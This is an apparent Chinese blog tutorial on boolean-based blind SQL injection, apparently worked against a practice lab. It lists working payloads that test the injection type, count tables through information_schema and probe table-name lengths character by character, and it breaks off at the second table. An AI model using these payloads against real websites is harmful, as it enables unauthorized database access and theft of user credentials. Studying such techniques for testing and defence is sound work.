布尔型盲注基本思路

本文详细介绍了布尔型SQL注入的基本步骤,包括判断注入存在性、确定注入类型、识别数据库表数量、表名和字段信息,以及如何爆破用户数据。通过一系列的逻辑判断,最终确定了user和password字段,并能获取用户数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

普通SQL注入 SQL盲注
执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
一般在页面上直接就会显示执行sql语句的结果 一般在页面上不会直接显示sql执行的结果
有可能出现不确定sql是否执行的情况

1. 判断是否存在注入和注入类型

1' or 1=1 不存在
1' or '1'='1 存在

判断为字符型

2. 判断数据库中表的数量

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#  不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 存在

有两张表

3. 判断表名长度

第一张表:

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#  不存在

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2#  不存在

…………

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9#  存在

第一张表名长度为9

第二张表

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=1# 不存在

…………

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=5# 存在
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值